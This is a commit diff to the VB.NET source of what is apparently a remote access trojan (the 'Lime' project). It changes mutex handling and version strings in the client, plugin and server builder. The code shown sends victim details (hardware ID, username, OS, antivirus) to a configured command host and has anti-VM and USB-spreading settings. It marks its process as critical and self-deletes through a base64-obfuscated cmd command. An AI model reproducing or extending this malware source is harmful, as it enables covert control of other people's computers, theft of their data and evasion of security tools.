UPDATE 0.1.7.3D

updated mutex
added auto-update

Project/Client/C_Installation.vb

@@ -12,6 +12,10 @@
                         AddDrop(C_Settings.fullpath)
                         AddReg(C_ID.Privileges)
 
+                        If C_Settings.MTX IsNot Nothing Then
+                            C_Settings.MTX.Close()
+                            C_Settings.MTX = Nothing
+                        End If
                         C_CriticalProcesses.CriticalProcesses_Disable()
                         Diagnostics.Process.Start(C_Settings.fullpath)
                         End

Project/Client/C_Main.vb

@@ -38,6 +38,7 @@ Namespace Lime
         Public Shared C As New C_Socket
         Public Shared SPL = C_Settings.SPL
 
+
         Public Shared Sub Main()
 
             Try
@@ -46,21 +47,18 @@ Namespace Lime
                 'Thread.Sleep(35000) '[New client infected]
                 'End If
 
+
                 Dim num As Integer = C_Settings.Delay
                 Do Until num = 0
                     Threading.Thread.Sleep(1000)
                     num -= 1
                 Loop
 
-                Dim createdNew As Boolean
-                Dim mutex As Threading.Mutex = New Threading.Mutex(True, C_Settings.MTX, createdNew)
-                Try
-                    If Not createdNew Then End
-                Finally
-                    If createdNew Then
-                        mutex.ReleaseMutex()
-                    End If
-                End Try
+                Dim createdNew As Boolean = False
+                C_Settings.MTX = New Threading.Mutex(True, C_ID.HWID, createdNew)
+                If Not createdNew Then
+                    End
+                End If
 
                 If C_Settings.ANTI Then
                     C_AntiVM.Check()

Project/Client/C_Settings.vb

@@ -12,7 +12,7 @@
         Public Shared KEY As String = "|'N'|" 'socket key
         Public Shared SPL As String = "|'L'|" 'split bytes
         Public Shared EXE As String = "CLIENT.exe" 'client name
-        Public Shared MTX As String = "I0xpbWVSQVQ=" 'mutex
+        Public Shared MTX As Threading.Mutex
         Public Shared USB As Boolean = False 'usb spread
         Public Shared PIN As Boolean = False 'pin spread
         Public Shared ANTI As Boolean = False 'anti virtual machines
@@ -33,7 +33,7 @@
         Public Shared KEY As String = "%KEY%"
         Public Shared SPL As String = "%SPL%"
         Public Shared EXE As String = "%EXE%"
-        Public Shared MTX As String = "I0xpbWVSQVQ="
+        Public Shared MTX As Threading.Mutex
         Public Shared USB As Boolean = "%USB%"
         Public Shared PIN As Boolean = "%PIN%"
         Public Shared ANTI As Boolean = "%ANTI%"

Project/Client/C_Socket.vb

@@ -98,7 +98,7 @@ e:      ' clear things and ReConnect
                 C.Client.Connect(C_Settings.HOST, C_Settings.PORT)
                 CNT = True
                 'Send info to server
-                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.7.3", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
+                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.7.3D", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
                                    C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.USBSP, SPL, " ", SPL, " "))
             Catch ex As Exception
                 Threading.Thread.CurrentThread.Sleep(R.Next(5000))

Project/Plugins/PCL/Main.vb

@@ -21,11 +21,13 @@
                 Select Case A(1)
                     Case "1" 'close
                         CriticalProcesses_Disable()
+                        MT()
                         Environment.Exit(0)
 
                     Case "2" 'restart
                         CriticalProcesses_Disable()
                         Diagnostics.Process.Start(FP)
+                        MT()
                         Environment.Exit(0)
 
                     Case "3" 'uni
@@ -65,13 +67,23 @@
             CriticalProcesses_Disable()
             Threading.Thread.Sleep(100)
 
+            MT()
+
             'cmd.exe /c ping 0 -n 2 & del 
             Shell(BS(Convert.FromBase64String("Y21kLmV4ZSAvYyBwaW5nIDAgLW4gMiAmIGRlbCA=")) & """" & FullPath & """", AppWinStyle.Hide, False, -1) 'Delete NEXE
             Environment.Exit(0)
         Catch : End Try
 
     End Sub
 
+    Public Shared Sub MT()
+        Dim createdNew As Boolean = False
+        Dim MTX As Threading.Mutex = New Threading.Mutex(True, HWID, createdNew)
+        If MTX IsNot Nothing Then
+            MTX.Close()
+            MTX = Nothing
+        End If
+    End Sub
 
     'https://www.codeproject.com/Articles/43405/Protecting-Your-Process-with-RtlSetProcessIsCriti
     <Runtime.InteropServices.DllImport("NTdll.dll", EntryPoint:="RtlSetProcessIsCritical", SetLastError:=True)>

Project/Server/Classes/S_Settings.vb

@@ -3,7 +3,7 @@
     Public Shared PORT As Integer
     Public Shared EncryptionKey As String
     Public Shared IP As String = String.Empty
-
+    Public Shared StubVer As String = "v0.1.7.3D"
     Public Shared SPL As String = "|'L'|"
     Public Shared KEY As String = "|'N'|"
 

Project/Server/Forms/Main.resx

@@ -134,7 +134,7 @@
         AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
         LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
         ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADo
-        VAYAAk1TRnQBSQFMAgEB8wEAASgBFwEoARcBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk
+        VAYAAk1TRnQBSQFMAgEB8wEAAUgBFwFIARcBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk
         AwAB0AEDAgABAQEAASAGAAH1AQX/AKIAAwUBBwMQARYDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb
         AxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDEgEY
         AwgBCwMFAQcDEAEWAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb